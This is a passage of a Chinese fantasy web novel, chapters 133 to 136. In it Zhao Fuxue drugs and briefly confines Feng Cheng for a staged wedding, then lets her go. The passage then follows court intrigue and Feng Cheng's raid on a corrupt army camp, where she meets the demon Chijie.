她年少时尚能算得上一眼望得到头的莽子,赤子心肠,五脏六腑都像琉璃似的,猜都不必猜,便摸得一清二楚。后来渐渐地老道,长出了一副捉摸不透的油嘴滑舌,原本那点琉璃似的真心,便突然地看不明白了。 霎时间,赵负雪心中几乎生出了感激。 在一切朦惘的混沌之中,他独抱着心头情意,像是子夜中踽踽独行的瞎子,天地漆黑,唯有一人提灯,唯有一人能救他。 她走来,子夜尽。 封澄尚不知一句轻飘飘的内人醋大给赵负雪补足了多少横冲直撞的心理活动,眼下她最疑惑的,便是叶老堡主为何硬要将万贯家财拱手让人。 于是她便疑惑无比地问了,这一问可不了得,叶老堡主几乎要抱头痛哭了。 “您,您,唉!还不是因为咱们的天机税!” 天机税?封澄几乎被这个分外陌生的词汇冲得傻了,她有些茫然地想——那是什么? 大夏这么多年,她仙人凡人都做过,在做凡人的时候没交过所谓“天机税”,开始修道后更是没收过什么乱七八糟的钱了,不仅这般,她连出门打群架都得把天机院的腰牌摘了,结果被天机所抓到还是赔了银子、扣了腰牌。 什么时候天机师这么有钱了? 正在她茫然之际,赵负雪轻声道:“这是你死后才出来的名堂了,是为了养护修士以及供给修士的日常消耗,新增的一门税。赵家也曾收到过,数额颇大,我拒了。” 叶泉从容地行了个礼。 “公子,”她温和道,“我叶家堡开罪了一个名叫何三草的血修,原本天机税,我叶家堡每年只需往官中缴纳一成年利,可从去年来,那血修上门征收,一年竟要吞掉我叶家三成税,且有越来越苛刻之势,兴许明年,或许再一年,便又巧设名目,使我们背上巨债也说不定,家父无奈之下,只好寄希望于比武招亲,指望女婿下口能比那群血修轻些,至少不至于我父女流离失所。” 说到这里,叶泉幽幽地叹了一口气:“可如此这般,公子说,是不是抱薪救火。” 她说得的确有道理,封澄若有所思地摸了摸下巴——血修连人都吃,哪有什么手下留情的道德。 谁料叶老堡主愣了愣,突然暴怒而起,狠狠地甩了她一巴掌道:“这哪里有你说话的地方!” 叶泉长了一副七窍玲珑心肠,却是弱柳扶风之姿,被这么抡圆了打一巴掌,连话都说不出,便软软地栽倒在了地上。 红衣霓裳霎时沾了粘稠脏臭的血污。 封澄一愣,随即飞身过去扶起叶泉,怒道:“她是你女儿,你怎么能打她!” 叶泉怔怔地捂着发烫的腮。 叶老堡主冷笑一声,山羊胡须被气得发抖:“我是她老子!既然生得她,就打得她!当着大人的面,口出狂言,毫无教养!这是我教你的么?” 叶泉文静地捂着脸,一句话也不说。 话毕,叶老堡主又上来讨好道:“大人见谅,小女实在不懂事,这绝非我叶家上下所想,但凡大人想要,我自将家产拱手送上。” 瞧着这模样,封澄深深地叹了一口气。 她转身道:“你愿不愿意和我走?” 叶泉抬起头,虽蒙着红帕,封澄仍然能感觉得 到她的愕然。 “叶家愿意和血修做生意,把家产用作血修的口粮,我不愿意,你也不愿意,既然如此,要不要跟我走?” 这次不光叶泉,连叶老堡主也傻了眼。 封澄冲她笑了笑:“足不出户的女儿,却有这般见识与胆气,我正少一个胆大心细的军师,你身体孱弱也没关系,没有灵力也没关系,总归不要你出面,跟我走,行不行?” 终于,叶老堡主反应了过来,当即讷讷反对道:“您,您要了我的女儿,却不肯庇护叶家堡,没,没有这个道理。” 封澄抬眼,笑了笑:“叶老堡主,我们来打一个赌。” 他瞪圆了眼睛。 “我替你解决为难叶家的血修,用他一条命,换你女儿和我走,行不行?” 叶老堡主张口就要拒绝:“这,这怎么行……” 封澄微笑道:“这怎么不行?血修修行有逆人伦,轻而易举便走火入魔爆体身亡,即便他身死,也查不到你身上来,他一死,叶家困境迎刃而解。” 赵负雪不着痕迹地看了她一眼,出言提醒:“你不必出手,赵家自有替你动手的。” 封澄入血道,也曾经脉逆行而暴走,赵负雪想到了一些不怎么融洽的回忆,不着痕迹地抚了抚嘴唇。 良久,叶老堡主终于咬了咬牙:“成交!” 封澄微笑着转头,向她伸出了手:“到你了,和我走么?” 叶泉犹豫片刻,慢慢地将染着鲜红蔻丹的手放在了封澄的手上。 干燥而温暖,十分有力。 “等我回长煌大原,”封澄回头道,“就带着她,劳烦给我安排个马车了。” 叶泉没有灵力,是无法御剑而行的。 不知为何,封澄觉得赵负雪的眼睛有些令人捉摸不透的幽深。 赵负雪点了点头道:“既如此,也不必闲逛,回府安置吧。” 走进了赵府,叶泉由侍从带去旁院安置梳洗,顺便将天机军之事据实相告。而封澄随着赵负雪走进了书房,正当她奇怪为何食案摆在书房时,鼻尖传来的香气便令她骤然一窒。 那股极为勾心夺魄的宁静香气霎时封住了她的经脉。 不好! 察觉到这一点的刹那,封澄抬手便是凝血成刃,紧接着转头便破窗而出,谁料还未动弹,手筋便是一软。 昏迷前最后的记忆,是赵负雪身上浅淡的冷香气。 他轻轻地俯身,把她抱起。 “……傻孩子。” 她活得太敞亮透明,于是便低估了他在子夜中的恐惧与孤寂。 经久折磨下,已然疯魔,他竭力才在她的面前保持着应有的人形。 “我放你离开两次了。”他俯身,轻轻地吻了吻封澄的发顶,目光痴迷而偏执。 “这次,是你自己走向我的。” 她怎么会低估了一位痴心者几乎粘稠成恨意的爱? 一而再,再而三地回到他的身边,却又一而再,再而三地甩手离开。 他是疯子,经不起这般诱惑。 第134章 第134章求你了 如若是寻常时候,封澄不会这么不当心地着了什么人的道,至少在闻到陌生香气的刹那,一定会心有提防。 可她千防万防,独独不会防赵负雪。 今日大红屋中,暖香沉沉,是民间嫁娶再喜庆不过的屋舍了。 只是死寂得出奇,像一间鲜红却冷冰冰的洞窟。 昏昏沉沉间,封澄感觉身体被扶了起来,紧接着,唇边凑上了什么东西,表皮柔软,她困难地睁开了眼睛,看了看。 好像是一只胖乎乎的饺子。 感觉味道很好的样子,她下意识张口咬了咬,酸软的牙关却什么都咬不动,于是便皱着眉松了嘴。 什么玩意。 带着齿痕的饺子在半空中顿了顿,随即被身旁之人撤开。 赵负雪对着上面的齿痕,面不改色地咬了下去。 “生的,吃不吃都行,”他好似没什么味觉般嚼了嚼,“我替你咬了也一样。” 他将盘子放在一旁,取水漱口,片刻,封澄感觉身边一重。 有大气不敢出的侍从低着头上来,撤下盘子,再悄然无声地出去。 可是咬生饺子做什么?封澄很是茫然,抬起头,四处环顾,陡然间,鲜红景色激得她猛地一激灵——这是哪里! 这一激灵,脑子里那点儿混沌便霎时烟消云散了,封澄终于想起来了昏迷前的事情,一个鲤鱼打挺站了起来,霎时往外蹿得离赵负雪几丈远,赵负雪平静道:“你醒了。” 封澄飞速地摸清了自己的处境,脸色一沉:“是你把我带到这里来的。” 并不是她只想离赵负雪这么远,如若可以,她更想立即推门出去,或者翻窗,或者掀屋顶都行,可奈何动了动,封澄才察觉灵力受阻,一低头,脚下扣着一只润泽的金环。 她低头看了又看,确认了,脸色登时一黑。 又是穷道锁。 这次的穷道锁可不是她早年库藏的那件老东西了,它样子莹润,连一丝裂痕都没有,浑然一体,牢不可破的模样,整只金环上唯有的那道缝隙——是钥匙的痕迹。 赵负雪鲜少穿这般大红的颜色,平素不必说,即便是典礼上用的礼服也少用此色,于是就连封澄,也是第一次见他穿红衣的模样。 红烛之下,美人如玉,原本眼角眉梢带着的瑰色又被这喜服逼得更明亮了几分。 他直勾勾地看着她,似乎是喝了些酒的模样,脸色有些霞似的红。 如若这副模样在封澄十几岁最冲动的时候出现在她的面前,封澄自问是什么都能做得出来的。 可此时此刻,封澄毫无欣赏美人与美梦的闲心,她临大敌地往桌上摸了摸,摸到了一杆冷冰冰的金属,她也不管不顾地拿起来格在身前:“这种事情能忍你一次,不代表能忍你两次,不要仗着旧时的情分为所欲为啊,赶紧放我出去。” 到手一看,才发现手里握着的是一杆喜秤。 闻言,赵负雪低声笑了笑,声音闷闷的:“你到现在还是不清楚自己的处境。” 他站了起来,喜服的衣料摩擦,发出了簌簌的声响,封澄不由自主地向后退了退,所幸赵负雪并不是走向她,而是不紧不慢地走向了桌前。 桌上摆着两杯酒。 “你选一杯同我饮下,”他道,“剩下那杯我喝。” 封澄:“?” 封澄倍觉荒谬好笑,不耐道:“你听不听得懂人话?我一杯也不会喝,放我出去。” 听闻此言,赵负雪不怒反笑:“一杯有含春散,另一杯是寻常嫁娶的百岁合,不选,我两杯都喝下去,你自寻出路。” 含春散? 百岁合她倒是知道,常见的喜酒,可这含春散一听就令封澄的脸又青又白。 顾名思义,这东西绝对不正经吧?! 见赵负雪要去取酒,当机立断地,封澄果断出手,喜秤一挥就又准又狠地向着两杯酒砸去,可灵力一没,连带着身手也慢了些,喜秤还未碰到两杯酒前,赵负雪便眼疾手快伸手截住了。 这酒一定是不能让他喝了,封澄见喜秤被截,脚下一飞,一脚踹向了桌子,桌子的材质似乎是某种极沉的木头,封澄辨不清,只觉得脚痛。 所幸赵负雪并没有把桌子锁在地上。 桌子倾倒,上面的各色茶点果食连带着两杯合卺酒一迭声滚倒在地,叮铃咣啷,砸得人脑子里都是嗡鸣的。 在一片狼藉之中,屋中渐渐地变得寂静。 死一般的寂静。 只有封澄的喘息,她握着喜秤,如临大敌地看着赵负雪。 他枯然站在原地,仿佛一株蛀空了的梅似的,一身颜色动人,枝干里一口一口地蛀成了枯黑。 封澄如临大敌等待着他的下一个动作,或是下一场发难,而赵负雪静静地站了一会儿,片刻,一言不发地俯下身去了。 他在收拾地上残片。 酒水撒地,瓷器碎成片,玲珑剔透的果子与小面人滚上了鲜红的酒液,看起来似笑非笑,欲哭若哭,封澄这才注意到,地上的面人,是她当年在古安时赠给赵负雪的那一对。 憨态可掬,含笑喜人。 封澄怔住了,她看着那两只面人,张了张嘴,才嗫嚅道: “你……你怎么还留着这个啊?” 沾染了酒液的面人显然情况不容乐观,时日久了,即便保存再好也难免有裂隙,酒液渗入裂隙中,成了一条条鲜红的痕。 而赵负雪捡拾着地上碎裂的瓷片,只沉默不语,忽然间,手猛地一抖,封澄忍不住面露关切之色,还未上前一步,赵负雪便涩然开口。 “我如此令你生厌么。” 封澄不知所措地定在了原地。 碎瓷将他的手心划破,空气中有鲜血的味道溢出,封澄倒不怕和赵负雪硬碰硬,她虽没了灵力,但硬碰硬,抵死了也能咬到底,只是赵负雪眼下这突如其然的自厌却令她有些措手 不及:“……” 见她沉默,赵负雪似乎是笃定了什么,平静道:“我知道了。” 他回过头的刹那,衣袖忽然被攥住了。 “……” 他唇角微不可察地一勾,身后封澄低着头,支吾半晌,不太情愿道:“你故意的,是不是。” 故意把面人摆在案上,故意引她掀了桌子,再顺理成章地引出封澄心头的愧疚来,封澄并不是傻子,一见那对面人,就什么都明白了。 赵负雪见封澄平静了下来,于是也顺势转身,他叹了口气:“两杯都是百岁合。” 封澄差点被自己的口水呛到。 赵负雪看着她,手指轻微一蜷,认真地看着封澄,片刻,摸了摸她的发顶,线条优美的眼尾带着些红痕,仿佛是将落泪一般:“你不愿意,我怎么会做。” 一抬眼,看着师尊穿着喜服,泫然欲泣的模样,霎时间,封澄的理智遭到了重重一击。 从这辈子加上上辈子,她从没见过赵负雪这副当着人落泪的情态,他年少时傲气十足,叫人瞧见他落泪比杀了他还难,后来的师尊就更不会了,封澄甚至怀疑他早上打哈欠都不会流眼泪。 她傻傻地张了张嘴,一时之间神魂颠倒,竟然没觉得赵负雪说的话没什么不对,连脚踝上的穷道锁从哪来的都忘了,只觉得叫赵负雪委屈成这般模样,属实是罪过罪过了。 片刻,有侍从悄悄进来收拾走了被封澄掀了的桌案,随即又更换上了新的桌案,待屋中仅有封赵二人时,赵负雪从容坐在了桌前,就着摇曳的红烛,斟了两杯酒。 酒是从壶中斟出来的,鲜红的酒液香气扑鼻,封澄有些别扭道:“成亲是要两个人都情愿才行,不是你把人捆了就能成亲的。” 赵负雪平静道:“我不用穷道锁,你现下已经坐上回长煌的车马了。” 一听长煌二字,封澄气不打一处来,几番抑制才忍住了给赵负雪一巴掌的冲动:“钥匙给我!若我关在这里,天机旧部该怎么办?” 他们流离几十年了,即便是对修道之人来说,这几十年也是不少的年月了,终于等到封澄归来,她却一走了之不见踪影了,对这些留下的人而言,说是剜心尚不为过。 赵负雪平静地抬起了头:“天机旧部流亡数十年,树敌众多却几乎未曾减员,我与你同心。” 封澄怔住了。 “……是你。” 天机旧部能在追围堵杀中存活下来,只凭手头本事与机灵大概是不够的,在此之上,必然有更大的、更隐蔽的保护伞。 是赵家。 赵负雪不置可否:“坐,酒没问题,我知道留不住你。” 囚禁自然是能关得住封澄的。 可关住她,然后呢? 让封澄一辈子恨他? 如若能保她一世平安的话,也不是不可以。 平心而论,赵负雪在将穷道锁扣上封澄脚踝时,是做过这样卑劣的美梦的。 她永远混沌,永远不醒,永远将他视作独一无二的爱人,柔软而缠绵地留在他的身边,敞开全部,温和而顺从地吞吃他的苦痛与爱恨。 ——只要一道穷道锁,与一炉锁灵香。 封澄对他不设防,下意识的举动是很难改正的,一次不会,多少次也不会,甚至她对他有着本能般的信赖,即便是用锁灵香夺去了神志,仍会毫不犹豫地吃他送到嘴边的东西。 她不会因一无所知而惊慌,只会因在他身旁而更加安适。 要做到这一点很简单,连再引燃一次香都不必,只需要不给封澄解开穷道锁的钥匙。 一瞬间,他心中划过了千万个诱哄般的声音。 他垂了垂眼睛,目光有些幽暗,一抬眼,却忽然落在了一旁的面人上。 做面人的手艺是不怎么好的,可即便是瞎子,也不难看出两只小面人活灵活现的大笑模样。 鬼使神差地,他平静了下来,原本有些涣散的瞳孔重新聚焦,他抬了抬手指,蓦地捏住了装着鲜红酒液的酒杯。 他突然道:“你愿意喝么。” 只要封澄肯喝,只要封澄饮下这杯合卺酒,只要今夜这场荒谬的喜事不是他一人的独角戏。 他放她离开。 赵负雪轻轻举杯道:“求你了。” 分饮一壶合卺酒,就当还了他这些年的苦泪。 其余的,便无所求。 只要她肯喝。 沉默许久,久到赵负雪终于想起,封澄方才是宁愿掀了整张桌案,也不愿饮下这杯合卺酒的。 他垂了垂眼睛,正要收回手,忽然间,鼻尖却涌来熟悉的甜香气息。 赵负雪愕然地抬起头,瞳孔剧烈一缩。 封澄有些别扭地低头,绕过赵负雪的手臂,将杯中合卺酒毫不犹豫地一饮而尽。 “我喝完了。”她咂咂嘴,有些疑惑地看着呆呆的赵负雪:“愣着做什么,怎么不喝?” 第135章 第135章凡人死于凡人之手 酒香弥漫,室内寂静,封澄等了片刻,赵负雪仍怔怔地呆着,她心头后之后据地生了点尴尬:“嗯?” 赵负雪回过神来,他抬手将杯中酒液一饮而尽。 “……” 由于饮得太快,赵负雪有些呛咳,他抚着空荡荡的酒杯沉默许久,终究疲倦地合上了眼睛。 “待一夜,明天送你离开。” 闻言封澄虽有些不情不愿,但好在赵负雪还是没疯到底,总算是松口把人送出去了,她放下酒杯道:“行,我去外屋榻上睡了,你也早些安置。” 其实二人修道多年,早就不怎么需要睡眠了,封澄还未迈步,袖口却被抓住了。 她神色微怔。 “……不做什么,”赵负雪抵着眉心,慢慢道:“新婚之夜,至少别留我一人。” 封澄还想再辩,忽然间身体便猛地一轻,双手被突然钻出的灵力陡地冻在胸前,成了一块冰坨子,随即便被丢在了铺着大红锦被的榻上,她看着走近的男人,神色一变,抬腿要踢之时,赵负雪却很不容抗拒似的,三下五除二把人团在了怀中,封澄愣怔的脸被压向了赵负雪的胸口——是一个完全包围的,完全不容逃脱的姿态。 鼻尖前的冷香气无孔不入地包裹着她,她听见赵负雪的胸口微微颤抖:“睡觉。” 封澄傻了,半晌才回过神来,愤怒地拿冰坨子顶他:“你等等,这让我怎么睡!” 赵负雪微微抬起身。 他敛眸,片刻,伸出手来,一件一件地取下了封澄头上的簪饰。 “……” 封澄目瞪口呆地想,她是这个意思吗? 片刻,墨黑的发在大红锦被上交缠,倾泻在一处,分不清是谁的。 赵负雪看着她,眼底似乎又暗了暗,片刻,还是只将人紧紧拥住,重新揉进怀中,封澄简直要被他的胸口闷得窒息,偏偏赵负雪仗着有灵力横行霸道,死死不肯撒手。 她又想挣扎,赵负雪闷闷道:“这么热的话,脱外裳?” 当即封澄汗毛一炸,果断老实,僵硬如一块石头。 赵负雪似乎笑了两声,封澄微恼,可不知为何,恼着恼 着,就这么埋在赵负雪怀中,沉沉地睡去了。 确认怀中女子呼吸变得平稳而有规律,赵负雪小心翼翼地起身,灵力一取,封澄双手的坚冰消去,他小心研究了片刻,轻轻地托起她的手,然后把封澄的手搭在了他的脸上。 她很喜欢这里。 赵负雪小心摩挲了片刻,重新合上眼睛。 第二天醒来,她应该也会开心一点。 封澄睡得很沉,许久没睡过这么沉了,于是等再睁开眼睛时,天光已经大亮了。 她吓了一跳,一骨碌滚起来,骤然间头皮的刺痛将她扯得呲牙咧嘴:“——嘶!” 低头一看,长发披在身后,拽住了另一边不属于她的头发。 被……编起来了。 封澄有些傻眼,转头道:“你搞的?” 始作俑者早已醒了——或者说他大概没睡,赵负雪看着她,不知看了多久,被她开门见山地问了,他倒是很淡定:“也是旧俗。” 封澄:“……” 一个扯淡似的婚仪,名不正言不顺的,他一本正经地研究什么呢? 理智抑制住了封澄问出口的冲动,她强行把话憋了回去:“好的,现在能解开了吗?” 赵负雪点点头:“等一下。”随即赵负雪起身,从一旁取来了见素。 封澄:“……” 赵负雪小心地将二人结在一起的长发取了下来,随即笑了笑:“结发为夫妻。” 封澄:“……” 她很心累地想:“你说了算。” 做完这一切后,赵负雪将封澄身上的禁制解开,道:“你要的人,我昨夜已派人送去了长煌,刘润也护在了赵府,你乘快马,大抵能在明日抵达长煌。” 封澄活动了活动筋骨,接过了一早备下的行囊,正要启程,余光看见赵负雪将方才的长发收进了贴身锦囊,动作小心而珍重,她陡然收住了脚步,站在原地想了想,纠结道:“前些日子我在长煌见到了师叔,你身体还好?要不要请他回京?” 陡然地,赵负雪的手僵住了。 良久,他抬起头,慢慢道:“你说什么?” 封澄奇怪地偏了偏头:“从前那个为你封灵脉的师叔,踪迹不定那位,人家叫他温先生,对不对。” 赵负雪平静道:“啊,有时是姓温。” 封澄:“有时?” 他淡淡道:“他行走世间,名姓众多,而你我最为熟知的,莫过于‘温不戒’这个名字。” 刹那间,封澄猛地睁大了眼睛:“……温不戒?是温不戒?等等,既然是温不戒,他之前为什么像不认得我一样?” 赵负雪深深地看了她一眼,这一眼莫名令封澄心头一悸。 他道:“……他自有考量。” 封澄摩拳擦掌道:“这可就奇了怪了,我非要去问问他,当年好好的义气之交,怎么硬生生占了我这么大的便宜?他既然叫你师兄,那么温不戒也是天机院的学生了?” 她连珠炮似的问了一大串,而赵负雪沉默片刻,只道:“离他远些。” 封澄奇道:“可他从前不还是……呃,在天机院作医师,还游历四方,悬壶救人?这样的人,也不能信么?” 赵负雪敛眸:“天机玉册所记案宗中,记他叛国,明面上的缘由是与天魔勾结。” 莫名地,封澄脸上的笑意消失了。 “又是与天魔勾结?又是叛国?”她忽然便生了些想笑的荒谬感,捏紧了拳,又颓然松开。 “可我在天机玉册上,大概也在叛国那一栏里。”封澄平静道。 赵负雪微微偏头,垂眸看向她。 “——你不愿信我。” 封澄摇了摇头,想说什么,却什么也说不出来。 赵负雪重伤得太早了,从进宫杀了帝后那时起,他的身体便一日日地衰败下去,于是在封澄恶名滔天,罪无可赦之时,他一无所知地被封锁在鸣霄室之中,为灵力的暴走而煎熬。 所以他什么也不知道,封澄想。 “并非不信,只是我已无权调用天机玉册,”她平静道,“他救过我的人,不止一次,比起人命来,这些都不值一提了。” 说罢,她转过身,一声唿哨,包裹中一早打包好的寻常佩剑便一跃飞出,她踏上剑身,回头赵负雪道:“要是百家大比打得不顺,记得向长煌送信。” 说罢,剑啸一声,她便没什么话似的,腾空而起,向北扶摇而去了。 他走后许久,一旁的赵狩才敢上前来,他低头小声道:“尊者,原先备下的东西,还要用么?” 赵负雪微微敛眸。 “用,”他道,“灵石储备若是不够,再将恒山一带的灵矿买下。” 赵狩莫名觉得背后凉凉的,打定主意要快些离开,还未等他告退,赵负雪忽然道:“送帖子去宫中。” 他一愣,道:“是。” 赵狩向后山禁地走去,越走,心中的不安之感就越发强烈,疑云一重一重地涌上了心头。 赵家购买灵石并非一日之功,以一家之力,吞吃如此规模的灵石,不可能连使用的痕迹都没有。 可邪门似的,他这么久跟在采办的身后忙碌,却只见灵石源源不断,未见有什么必须要灵石才能驱动的灵器。 只有禁地中,画在封澄棺下的,一个陈旧的法阵。 可话又说回来,棺中之人,不是已经不需要灵力保持尸身了么? 赵狩想不明白,他暗暗地记下,目光却若有所思地向着封澄离去的方向看了一眼。 “封将军……她知道尊者要做什么吗?” *** 森冷宫殿之中,姜徵端坐书案之后。 燃在案头的宁神香毕剥一声,向下滚落了一节。 她闻声,抬头见远处来者,目光中有些愕然,随即合上了手中书卷,起身道: “赵先生。” 比起当年天机院中傲气而寡言的少家主,姜徵此时已经有了些不符合年龄的疲态,宫中封禁灵力固然是原因之一,而更深的因素,大概是与心疾脱不了关系。 她心中过了千百个回转,件件桩桩地搜寻与赵负雪的联系,只是还未等她搜寻得到,赵负雪便平静地开了口。 “今日子时,出宫,你准备些。” 这一句的冲击可谓是非同小可,当即令姜徵傻在了原地,良久,她才哈地笑了出来:“赵先生,且不说我为何要同你离开,就只说深宫之中,贸然走失了太后,这罪责下来,并非你我能担得的。” 谁料赵负雪连表情也没变一下。 “我心无拘,自无人能判我罪责。”他道,“至于送你出宫的理由……阿澄回来了,刘润也活着。” 刹那间,姜徵脸上的血色统统消失得一干二净,她飞快地从书案后走来,走得太匆忙,甚至带翻了案上垒成厚厚一卷的诗集。 “你说的,”她颤声道,“当真?” 赵负雪依旧是淡淡的模样:“躲过些时候,宫中自有丧事,再无人去查你了。” 姜徵垂眸:“……兴许他并不会轻易罢手。” “他自己的命也不久了,”赵负雪似乎是轻笑了一声,“哪来的命寻你?” 什么意思? 赵负雪笃定皇帝命不久矣——他想再杀一次皇帝!? 他干得了一次,就能干得出第二次,想到这点,扎姜徵失声道:“八方之怒非同寻常,上次降罪于先生,毁去了先生半边剑骨,几乎害得您失去性命!若只是出逃去寻阿澄,您何必再添麻烦!” 赵负雪垂眸,擦了擦剑身。 “不会有八方相护了,”他道,“刘润用刘氏皇族与八方世代的承诺,换了一条假死脱逃的仙人命格。” 而他活着出现在封澄面前的刹那,八方自由了。 圣兽八方已经不再庇佑大夏皇族,取而代之的,是陆续现世的恶兽之骨。 善恶的天平已然颠倒。 烛火照着赵负雪的脸,猛地一抖,姜徵怔怔地后退了几步,在那张堪称清冷绝尘的脸上,读到了彻头彻尾的疯狂。 “他不会死在我手中。”她听见赵负雪冷静无比道,“凡人死于凡人之手,从来如此。” 第136章 第136章穷得连战甲都是陈旧的…… 虽说回了天机军,但养一支军队,还是造价不菲的、由天机师组成的军队,并不是什么嘴上说说就能过去的、很容易的事情。 封澄没想到,将军做着做着,还得学着算账。 她颓然地一头扎倒在了书案上,忽然间啪啦一声,一节朽木啪地飞了过来,正正砸在了封澄的案上——窗户朽烂了。 封澄缓缓地转过头,目光呆滞地看着滚在案上的朽木。 天气在不知不觉间已经要凉了,封澄想,得趁着长 煌大原寒季的大雪封路前,搞一批军需来,然后最好再搞一批战甲。据她打探所知,眼下长煌的寒季几乎占了一年中的一半,比她当年还要严酷。 “又在对账?”冷风随着帘子的毡帘而蹿了进来,寸金穿着墨黑的常服,笑眯眯地将姜汤放在了封澄案上:“风寒未愈,别点灯熬油地劳神了,我带几个人来和你说说话?” 许是路上风大,或许又是被赵负雪吓的,封澄堪称钢筋铁打的身体在回到长煌的当日便发起了烧,今日才略略退了些。 封澄吸了吸鼻子,端过了姜汤,喝了一口,感觉周身的寒气散去不少,连带着毛孔也舒服地呼吸起了热气,她想了想,道:“不用,总归闲着也是闲着,只是我看这账本,越看越奇怪——你们这批战甲都是快十年前的老货了?” 寸金闻言,神色微微黯淡,他点了点头。 “天机铁骑虽仍属朝廷麾下,但其军士早已换了一批人,我等军饷被扣下多年,能领着军饷的,只有崔将手下那批“天机军”。这些年多亏是阿楚做着些生意,连带着大伙儿也接些活儿,还有……还有洛京中时时有补给送来,才不至于把人全遣了回家。” 封澄默默地喝了一口姜汤,寸金想了想,又道:“近年来朝廷收征‘天机税’,用以养修士,所以东西比当年贵了许多,原本一两银子能当十几斤兽肉用,现如今,也就五斤多些。” 说着,寸金又叹道:“若是这天机税当真是用在正道上,也就罢了,可世人皆知,这天机税乃是朝中血修一派横征暴敛的手段,拿来的税不是入了帝王私库,便是取了做机关一道的灵石,正经的天机师蒙了这苛税的名头,不光没好处拿,还要替血修干脏活,连带着也受民众白眼,久而久之,天下散修一派反倒是兴盛得更甚从前了。” 千金求道的礼贤之举不复存在,天机之盛世,也随着封澄的身死而随之远去了。 封澄微微地叹了口气,抬手将姜汤一饮而尽。 “给我点批人来,”她道:“要泼的,会闹事的,随我出去。” 寸金微怔:“……将军?” 封澄抬手把披风穿上:“去跟朝廷抢点饭来,天机军大营还在原来的位置吧?” 寸金傻了眼:“主营的确是原来的位置,不过——” 封澄果断道:“不过什么不过,日子不过了?回自己家里拿饭有什么问腿?少废话,人手给我。” 如此理直气壮地,寸金有些傻了——按说封澄初来乍到,不应该更加低调行事么?怎么还上手抢起天机军的大营来了! 留存在本能中的服从令寸金不去质疑封澄的决定——他心中对朝廷的怨气也是不少,于是他纠结地看了看病色苍白的封澄,出门,片刻,点出了一队人,跟在了封澄的后面。 天机铁骑的藏身之地离天机军主营并不远,封澄带着旧部,趁夜便摸到了营地附近。守卫似乎很是没有精神,营中军士三三两两地出来,个个瞧着脑满肠肥,见状,封澄有些讶异,回头问道:“这个斤两,也能行军?” 秦楚有些好笑:“多少年没仗打了,将军。自从持劫死后,天魔群龙无首,即便有流窜作乱的,也是不成规模、无军纪战法的,既无死敌,谈何警惕?现如今的天机营,你说他叫衙内营,也倒是没什么问题。” 身后又有人小声愤愤道:“吃喝嫖赌,无恶不作,和血修是一个鼻子出气的,打外人不行,打起自己人来啥家伙都往上招呼!” 正说着便有人走近,封澄连忙道:“隐匿符。” 众人齐齐将隐匿符往身上一拍。 “今天的酒菜真不错啊,”一人打着嗝道,“酒合适,肉也何时。” “崔老爷补下来的军需嘛,少爷吃肉,咱们跟着喝汤也是、好的。” “兄弟,军头叫我们干什么来着——嗝——。” “不需管不需管,论罪也论不着咱们,走走走,睡觉。” 越听,封澄越是牙痒,连叼着草叶都恨恨的:“我本来打算给他们留点草皮啃的。” 秦楚好笑地看着她;“现在呢?” “草皮见鬼去吧,我连墙皮都不剩给他们。” 顶着隐匿符,封澄按着计划,兵分两路,秦楚带一行轻手轻脚地绕进了大营腹地,她带着余下众人乔作来犯天魔的模样,确认过秦楚已混进去后,封澄叼着个草叶,慢条斯理地站在了天机军营的旗杆顶上。 她冷冷地低头看着,仿佛一只猎鹰似的,扬起手,隐匿符撤去的刹那,天魔之气自上而下,凶悍无匹地压向了天机营地。 笼在天机主营上的灵器在察觉到这番魔气的刹那,便轰地一声,尖声巨响,震得整个天机营几乎翻了个子,仿佛是一瓢凉水陡然地浇向了油锅一样,天机营地霎时沸腾,还未等松散无比的众军士摸清魔气的源头,远处震天的魔物嘶吼之声便随着魔气的掩护而杀了上来。 这魔气非比寻常,又煞又狠,几下便冲破了外营布防,从前有灵阵防御,即便是守夜的军士也多有懈怠,而此时此刻,大阵被轻而易举地破开,从没见过这等场面的守卫当即便慌了阵脚。 “敌袭!敌袭!”传令军嘶吼,可混乱中的天机军哪里顾得上隐在人声中的命令?当即穿衣的穿衣,抢剑的抢剑,一时之间营灵力乱飞,剑光四起,时不时还有争强斗殴声,封澄看着啧啧称奇,简直想鼓掌叫好。 一片混乱不知持续了多久,一人接连怒道:“行阵,听令!” 中气十足,不是主将也差不多了,可这么直着脖子喊了半日,照旧混乱一片。 混乱之中,一声惨叫,人群中寂了一瞬。 中军帐前,一人举着手中头颅,怒道:“有违军令者,当如此人!” 这主将倒是难得的利索人,封澄想了想,吹了个口哨,远远处应声也有口哨响应——秦楚已经得手,准备撤退了。 再拖片刻,差不多了。 封澄正要从旗杆上跃下,陡然间,原本该在营外装神弄鬼的几人发出了尖锐而急促的哨音,封澄脸色一凝——这哨声意为——敌袭。 敌袭? 在天机营一片混乱的嘶吼声中,原本只是投在魔气上的天魔虚影缓缓地走了出来。 “哎呀,”她听见为首之人笑道,“是谁这么贴心,提前替我动了手?” 封澄的脸色霎时一沉,而此情此景,做出相同反应的并不止她一个。 “持劫!!?”中军帐前的主将一怔,随即震撼无比道:“你……你!你不是死了吗!” 身后狰狞的众天魔乌压压地,仿佛乌云一般,不知从何处冒出,快速而森然地移动向了天机营地。 黑夜是天然的幕布,也是绝佳的隐蔽,更何况是依赖夜色而生的影魔一族,行动迅速,且隐蔽极强。 而持劫只带了影魔,包围得堪称无声无息。 “哎?这里还有认得我的小友?”持劫微微一笑,“我以为知道我的人,已经随着我的挚友而葬身在了数十年前,你叫什么名字?” 她听见了一声拔刀的声音。 “……” 有副官不明所以道:“我将军名为崔霁!你是何人,胆敢上天机 主营挑衅!” 崔霁? 封澄愕然地蹲在了旗杆上——谁? 。 持劫微笑道:“崔将军,实不相瞒,今日我是来灭营的。” 崔霁的脸上已没了少年时那副堪称柔软调笑的模样,他看着混乱一片,竭力保持着阵容的天机军士,悲从心来,面上却冷冷道:“作乱的朋友,看戏看了这么久,是敌是友,也该下来认个脸了。” 好嘛,原来天机营里并不全是草包。 封澄从旗杆上稳稳地跃了下来。 “今日是灭不成了,”封澄抬手放了个花火,“他们要死,我只允许饿死这一个死法。” 魔气随着她的出现而消弭得无影无踪。 “……”而方才还冷冷命她下来见面的崔霁,却在看见来者的瞬间,直直地僵硬在了原地。 “崔将军。”她转身道,“我有话要问你。” “经年风沙,磨去将军壮志否?” 崔霁的眼眶霎时湿润,他穿着重甲,眼睛从盔的缝隙中贪婪地看着对面的人。 “……从未。” 封澄点了点头,重新转过身来,身上似乎带了千万重的肃杀:“听令。” “崔将军,亲眼瞧瞧,天机军得是这样。” “秦楚!” 